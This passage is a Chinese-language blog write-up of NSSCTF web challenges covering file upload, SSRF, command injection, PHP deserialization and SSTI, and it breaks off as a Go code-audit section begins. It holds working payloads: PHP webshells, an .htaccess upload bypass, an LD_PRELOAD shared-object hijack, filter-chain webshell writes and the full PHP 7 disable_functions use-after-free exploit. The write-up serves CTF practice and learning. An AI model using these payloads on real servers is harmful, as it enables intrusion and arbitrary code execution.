当前位置: 首页 > news >正文

NSSCTF刷题篇web部分

源码泄露

[FSCTF 2023]寻找蛛丝马迹

这个源码泄露,可以记录一下,涉及的知识点比较多

打开环境

查看源码,

第一段flag

乱码,恢复一下

乱码恢复网站:乱码恢复 (mytju.com)

剩下的就只说方法

http://node4.anna.nssctf.cn:28843/script.js

第三段flag就在这里,也是乱码恢复

扫出来的目录就是第四段和第六段flag

第五段在第四段有提示说和苹果有关系

发现第四段flag
通过搜索发现苹果和DS_store有关系

访问/.DS_store得到第五段flag,和起来就是完全的flag

[GXYCTF 2019]禁止套娃

文件上传

[GXYCTF 2019]BabyUpload

简单测试一下,发现不能上传php文件并且不能上传后面后缀带ph字符的文件,所以想到了用.htaccess和.user.ini去解决这个问题,但是上传.jpg文件被提示太露骨了,所以这里不能直接上传一句话木马,所以我们这里上传1.jpg文件,文件内容为

GIF89a
<script language=‘php’>@eval($_POST[“a”]);</script>

之后在上传.htaccess文件,但上传时候需要抓包,将Content-Type:内容改为image/jpge

.htaccess文件内容为

AddType application/x-httpd-php .jpg .txt

 之后按照它给的路径进行访问从upload开始在url上面进行访问,前面的文件夹不用加上,因为你就在这个文件夹内的,访问之后,你可以执行命令,也可以连上蚁剑直接提取flag

[UUCTF 2022 新生赛]uploadandinject

知识点:LD_PRELOAD注入,so文件劫持

相关知识点链接:LD_PRELOAD劫持(超详细篇)_ld环境变量劫持-CSDN博客

打开文件,发现只能加载文件不能上传文件,提示访问hint.php

访问之后提示访问.index.php.swp,swp泄露,不过感觉它的提示有点太隐晦了吧,然后会下载文件,文件打开是乱码,在linux系统中用下面命令去查看代码

vim -r index.php.swp

putenv("LD_PRELOAD=/var/www/html/$img_path");

看到这串代码就要敏感,它会将LD_PRELOAD环境变量指向我们可控的文件路径,一看见这个LD_PRELOAD环境变量,肯定就会想到让它来加载恶意so文件劫持函数执行命令。

发现我们可以上传一个文件,然后LD_PRELOAD到这个恶意文件来执行命令获得flag

 这里看了师傅们的wp,找到了一个通杀恶意c代码,自己还没有理解

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>__attribute__ ((__constructor__)) void payload (void){unsetenv("LD_PRELOAD");system("cat /f*");
}

 将这串代码用下面命令执行成so文件

gcc -shared -fPIC hacker.c -o hacker.so

然后我们查找上传点,用dirsearch扫了一下发现上传点在/upload/upload.php

将文件名改为.jpg样式,上传,然后退回主页访问这个文件就可以得到flag

[NSSRound#8 Basic]MyPage 

打开页面,发现没有任何东西

这里是require_once的一个漏洞,之前听别人讲过,它就是文件已经被包含过了,所以需要下面的语句进行绕过 ,用下面伪协议绕过

payload:http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaW5jbHVkZSAnZmxhZy5waHAnOw0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGVfb25jZSAkZmlsZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBkaWUoJ2Vycm9yLicpOw0KICAgIH0NCn0=
<?php
error_reporting(0);include 'flag.php';if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include_once $file;} else {die('error.');}
}

 直接用php伪协议绕过

http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

得到base64编码,解码就得到flag

[FSCTF 2023]是兄弟,就来传你の🐎!

这道题就是考察短标签的命令执行,其他的都比较简单

这道题过滤的点

1.文件里面不能有php标签

2.代码长度不能超过15

3.后缀名不能是php

4.文件内容要有jpg照片的形式

因为不能超过15所以将GIF89a用GF或者BM代替

BM<?=`cat /f*`;

用jpg方式上传抓包修改为pht或者php5等代替;

ssrf

[HNCTF 2022 WEEK2]ez_ssrf

题目有提示访问/index.php,访问之后给了源码

<?phphighlight_file(__FILE__);
error_reporting(0);$data=base64_decode($_GET['data']); // 将通过GET方式的dataq进行base64解码
$host=$_GET['host']; // 通过GET方式将host值给到$host
$port=$_GET['port']; // 通过GET方式将port值给到$port$fp=fsockopen($host,intval($port),$error,$errstr,30); // fsockopen套接字。接收$host主机参数,$port端口参数(先会被转为整数),$error为错误号,设为非0;$errstr (错误信息): 如果连接失败,这个参数会包含一个字符串描述的错误信息。30秒超时
if(!$fp) { // 如果$fp有错误,也就是返回的是非0,取反为0,执行退出die();
}
else { // 如果$fp没有错误,返回的是0,取反为1真,执行下面的fwrite($fp,$data); // fwrite函数接收$fp套接字和编码后的数据while(!feof($data)) // feof判断是否达到数据末尾{echo fgets($fp,128); // 输出 fgets,fgets接收来自$fp的套接字,并且读取最大128个字节数}fclose($fp);
}

可以看到fsockopen这个函数,这个函数就是使用socket跟服务器建立tcp连接,传输原始数据。,然后在后面的代码又用fp去接收data传来的数据,最后在用fgets进行读取,所以我们就用下面的payload进行接受和将flag输出

  ?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

base64内容

  GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive

就是读取本地服务器的文件

命令执行

[BJDCTF 2020]ZJCTF,不过如此

这道题的知识点是文件包含+命令执行,但我感觉命令执行这个点比较的重要

打开题目看见代码

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

非常简单的文件包含,payload

?text=data://plain/text,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php

接下来得到一连串的base64编码,将base64编码解码得到源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']);
}

这里看到了eval函数但不能直接使用,这里涉及了一个知识点preg_replace()/e模式能够进行命令执行

深入研究preg_replace与代码执行 - 先知社区

大致意思就是用{}包括的字符串会被当作变量去使用,所以有以下payload

http://node4.anna.nssctf.cn:28559/next.php/?\S*=${phpinfo()}

flag就在phpinfo这个页面当中

还可以利用getflag()这个函数

?\S*=${getFlag()}&cmd=system('cat /flag');

[FSCTF 2023]EZ_eval 

<?phpif(isset($_GET['word'])){$word = $_GET['word'];if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){die("nonono.");}$word = str_replace("?", "", $word);eval("?>". $word);
}else{highlight_file(__FILE__);
}

 这串代码我刚看的时候,就这串代码比较疑惑

eval("?>". $word);

?>不明白这里为啥要设置这个,在看完别的师傅的wp之后我知道了这里是封闭了

就是<?php ?>从而达到封闭效果,?>.word这里是连接效果,如word如果等于hello,那么这串代码的执行效果就是?>word,那么如果我们命令执行的话后面的命令就不会执行了,所以我们需要去执行命令有下面三种方法

  1. <? echo '123';?> #前提是开启配置参数short_open_tags=on​​

  2. <script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。​​

  3. <% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用​​

借鉴博客:[FSCTF 2023]EZ_eval - xrzx - 博客园

所以最终payload

?word=<script%09language="php">system('strings%09/fl*');%09</script>

[FSCTF 2023]Hello,you 

打开后查看源码就可以找到源码

 

根据源码可以执行下面命令,查看一下环境变量就可以找到flag

1;env

[SWPUCTF 2023 秋季新生赛]If_else

打开题目查看源码

某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果提交方式$_POST["check"]记得访问一下check.php哦~check.php的内容
<?php$a=false;$b=false;if(你提交的部分将会被写至这里){$a=true;}else{$b=true;}if($a===true&&$b===true)eval(system(cat /flag));
?> 

Warning: Unterminated comment starting line 6 in /var/www/html/check.php on line 6
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=false;
$b=false;
if(1==1) eval(system('cat /flag'));/*)
{$a=true;
}
else
{$b=true;
}
if($a===true&&$b===true)
{
eval(system(cat /flag));
} NSSCTF{588ebbbc-a1ae-4dc4-bf98-623e9438c721} 

 payload

check=1==1) eval(system('cat /flag'));/*

就是考察了php的注释

[SWPUCTF 2023 秋季新生赛]Pingpingping

打开网页查看源代码

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){system("ping -c 3 ".$_ping);
}else{$data = base64_encode(file_get_contents("error.png"));echo "<img src='data:image/png;base64,$data'/>";
} 

就是简单的命令执行,payload

Ping[ip.exe=;cat /f*

记得把_换成[就可以了

[GKCTF 2020]CheckIN

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{public $code = null;public $decode = null;function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
}
new ClassName();

 我开始不知道在哪执行这段代码

        function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}

public function x(){return $_REQUEST;}

看到这段代码,这就是正常get传参

直接传参

?Ginkgo=cGhwaW5mbygpOw==

可以看到禁了很多函数,蚁剑连一下

eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==

 flag打开是空的,看到readflag可以想到disable_funtion绕过,下载下面代码

<?php# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1pwn("/readflag");function pwn($cmd) {global $abc, $helper;function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}class ryat {var $ryat;var $chtg;function __destruct(){$this->chtg = $this->ryat;$this->ryat = 1;}}class Helper {public $a, $b, $c, $d;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if you get segfaults$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_repeat('A', 79);$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';$out = unserialize($poc);gc_collect_cycles();$v = [];$v[0] = ptr2str(0, 79);unset($v);$abc = $out[2][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}

这段代码下载地址:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

pwn("uname -a");

把第11行代码改为

pwn("/readflag");

将这段代码上传到/tmp这个文件夹

然后执行命令

?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==
post
1=include('/tmp/1.php');

ZXZhbCgkX1BPU1RbMV0pOw==这段代码解码得到eval($_POST[1]);

[NSSRound#7 Team]ec_RCE 

考察的点就是linux执行多条命令

源码

<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHPif(!isset($_POST["action"]) && !isset($_POST["data"]))show_source(__FILE__);putenv('LANG=zh_TW.utf8'); $action = $_POST["action"];$data = "'".$_POST["data"]."'";$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");echo $output;    
?>

前面是一个java命令,不用管直接闭合执行自己的命令

action=;cat /flag;&data=ls

[FBCTF 2019]rceservice

算是学了一种新的命令执行的方式

打开就是一个框,在网上找到源码

<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?>

大概分析一下这个源码,可以得出它把所有命令都禁了

这里一种新的命令执行的格式就是json格式

先看这行代码

putenv('PATH=/home/rceservice/jail');

这里就是一个环境变量意味着他已经在liunx系统的这个环境之下了

所以cat命令不能执行,需要去cat命令的目录下执行命令

payload

?cmd={%0A"cmd":"ls /home/rceservice"%0A}

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

参考博客

[FBCTF2019]RCEService-CSDN博客

[SWPUCTF 2023 秋季新生赛]RCE-PLUS

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){echo "hello";return($cmd);}else{die("i hate this");}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

正常的命令执行就是没有回显,就是不能用正则表达式当中的命令

没有回显就写入文件当中访问就可以得到flag

payload

?cmd=cat /fla* > fuck.txt

访问fuck.txt就可以得到flag了

[HNCTF 2022 WEEK2]Canyource

源码

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);}
elsedie('nonono');}
elseecho('please input code');
?>

第一段正则表达式就是过滤一些命令,主要解释一下第二段正则表达试

\w就是匹配非单词字符即匹配那些非字母,数字,下划线的字符

?R它是递归匹配,没理解,但我的理解是如果在题目中看到这个正则匹配就要考虑无参数RCE

这道题有两种解决方式

第一种

直接读

?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));

flag需要查看源码才能找到

第二种

利用环境变量

eval(end(current(get_defined_vars())));&shekk=system(%27cat%20f*%27);

参考博客:[HNCTF 2022 WEEK2]Canyource-CSDN博客

反序列化

[SWPUCTF 2022 新生赛]ez_1zpop

 <?php
error_reporting(0);
class dxg
{function fmm(){return "nonono";}
}class lt
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct(){$this->impo = new dxg;}function __wakeup(){$this->impo = new dxg;return $this->impo->fmm();}function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}function __destruct(){echo $this;}
}class fin
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;$b($this->title);}
}if (isset($_GET['NSS'])) {$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}

非常简单的一道题,就是非常简单的链子,用__destruct()->__toString()

所以这里不用担心__toString()不会触发而去寻找别的方法去触发,这道题当中它在自己的类中会自己触发

payload

<?php
class dxg
{function fmm(){return "nonono";}
}
class lt{public $impo;public $md51='QNKCDZO';public $md52='240610708';
}
class fin
{public $a="system";public $title="cat /flag";function fmm(){$b = $this->a;$b($this->title);}
}
$a=new lt();
$a->impo=new fin();
echo serialize($a);

?NSS=O:2:"lt":3:{s:4:"impo";O:3:"fin":2:{s:1:"a";s:6:"system";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}

[UUCTF 2022 新生赛]ez_unser

打开网页看到源码

 <?php
show_source(__FILE__);###very___so___easy!!!!
class test{public $a;public $b;public $c;public function __construct(){$this->a=1;$this->b=2;$this->c=3;}public function __wakeup(){$this->a='';}public function __destruct(){$this->b=$this->c;eval($this->a);}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
你输入的不正确!!!搞什么!!

看到   public function __construct()设置a的值,而我们又需要用a进行命令执行,所以我们就想到了地址转换,将a的地址给b,那么b的值就是a的值,然后最后给c赋值进行命令执行,因为最后c的值是赋给b了,所以payload如下

<?php
class Test{public $a;public $b;public $c;
}
$a=new Test();
$a->b=&$a->a;
$a->c="system('cat /fffffffffflagafag');";
echo serialize($a);

可以把system里面的命令改一下,先查看目录,之后在打开flag;

[FSCTF 2023]ez_php1

共三关,不难

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";$c = $_POST['FL_AG'];if(isset($c)){if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';}else {echo "Congratulation!!";echo $hint1;}}else {echo "Please input my love FL_AG";}
} else{die("game over!");
}
?> 

第一关就是不用管那个正则,一个md5弱比较,另外一个就是随便输,不要输入到正则表达式匹配上面就可以

get:?a=240610708&b=QNKCDZO
post: FL_AG=14
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{echo "$hint2";
}
?> 

第二关就是反序列化,把这个字符串输入进去序列化一下就行

<?php
$KEY = "YES I love";
echo serialize($KEY);

payload

?str=s:10:"YES I love";
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
@unserialize($_POST['data']);?> 

第三关和上面那一道题一样地址转换一下就可以了

<?php
class Clazz
{public $a;public $b;}
$c=new Clazz();
$c->b=&$c->a;
echo serialize($c);
POST:data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

[羊城杯 2020]easyser

这道题涉及的知识点有点多,主要的是那个die绕过

打开网站访问/robots.txt存在泄露,访问提示的路径,然后查看源码

我以为的安全协议是php伪协议啥的,没想到还有这个

http://127.0.0.1/ser.php

你随便输入一些参数就会告诉你参数?path输入上面的payload查看源码

<?php
error_reporting(0);
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") {highlight_file(__FILE__);
}
$flag = '{Trump_:"fake_news!"}';class GWHT
{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)) {return $this->hero->hasaki();} else {return "You don't look very happy";}}
}
class Yongen
{ //flag.phppublic $file;public $text;public function __construct($file = '', $text = ''){$this->file = $file;$this->text = $text;}public function hasaki(){$d = '<?php die("nononon");?>';$a = $d . $this->text;@file_put_contents($this->file, $a);}
}
class Yasuo
{public function hasaki(){return "I'm the best happy windy man";}
}

$this->hero = new Yasuo;

开始在这段代码一直在纠结如何解决这段代码,这个类会指向那个return,最后看了wp发现这段代码直接指向Yongen这个类就行,这段代码主要解决的是

  $d = '<?php die("nononon");?>';

绕过这个die

需要用phpfilter和string_strip_tags,baseencode

最终exp

<?php
class GWHT{public $hero;public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct() {$this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';$this-> text = base64_encode("<?php eval(\$_GET['cmd']);?>");}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
$a = new GWHT();
$b = new Yongen();
$a->hero = $b;
echo urlencode(serialize($a));
#O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A36%3A%22PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8%2B%22%3B%7D%7D

最终payload

?path=http://127.0.0.1/star1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D

这个c需要用argun进行爆破

ssti

[护网杯 2018]easy_tornado

打开网页,有三个链接,一个一个打开内容如下

/flag.txt
flag in /fllllllllllllag/welcome.txt
render/hints.txt
md5(cookie_secret+md5(filename))

访问/fllllllllllllag

得到下面内容

检验可以得到msg存在模板注入

tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类

RequestHandler.settings又指向self.application.settings

所以我们可以说handler.settings指向了RequestHandler.settings了,对吧

这样我们就可以构造一下payload:

?msg={{ handler.settings }}

 

得到cookie

然后用exp跑一下,得到cookie,让file_filename=这个flag,之前已经告诉我们flag的位置,

import hashlibcookie = 'da0e04ca-2644-45bb-b7e1-2b1fa7347c24'
file_filename = '/fllllllllllllag'
md5_filename = hashlib.md5(file_filename.encode(encoding='UTF-8')).hexdigest()
word = cookie + md5_filename
flag = hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(flag)

得到flag

[HZNUCTF 2023 preliminary]flask

正常的ssti就是把ssti语句倒着输入进去就行了

字符串反转网站

字符串反转|中文反转 - 开发工具箱

{{"".__class__}}  //这些语句都要反转一下,并且要查看一下源码,第一个查看类名
{{"".__class__.__mro__}}
{{"".__class__.__mro__[-1]}}
{{"".__class__.__mro__[-1].__subclasses__()}}
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

[NCTF 2018]Flask PLUS

fenjing一把嗦

python -m fenjing crack-path -u http://node4.anna.nssctf.cn:28970/

fenjing命令

HTTP

这类题就是通过修改请求的一些东西达到目的,积累积累就可以了

[MoeCTF 2021]Do you know HTTP

1.用'HS'来请求试试?

就是修改请求方式,

就是将GET修改为HS

2.

xff ,这个有很多种

python函数漏洞

[GWCTF 2019]枯燥的抽奖

打开网站查看源码

加载check.php,让我们访问check.php

neyBAY8JYe
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";if(isset($_POST['num'])){if($_POST['num']===$str){echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";}else{echo "<p id=flag>没抽中哦,再试试吧</p>";}
}
show_source("check.php"); 

mt_srand()考察这个函数的漏洞,这个漏洞具体可以查看大佬博客

[GWCTF 2019]枯燥的抽奖 - L0VEhzzz - 博客园

直接先推种子,代码如下

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='OcRiTWUJrN'
res=''
for i in range(len(str2)):  for j in range(len(str1)):if str2[i] == str1[j]:res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' 'break
print(res)

再用下面的工具

生成种子

<?php
mt_srand(种子); //种子填你自己得到的
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;

在用上面代码运行即可得到完整字符串,输入就可以得到flag

[羊城杯 2020]Blackcat

代码审计

go语言代码审计

[SCTF 2021]loginme

这道题就是代码审计,Go语言的代码审计

打开附件先看主函数

package mainimport ("html/template""loginme/middleware""loginme/route""loginme/templates""github.com/gin-gonic/gin"
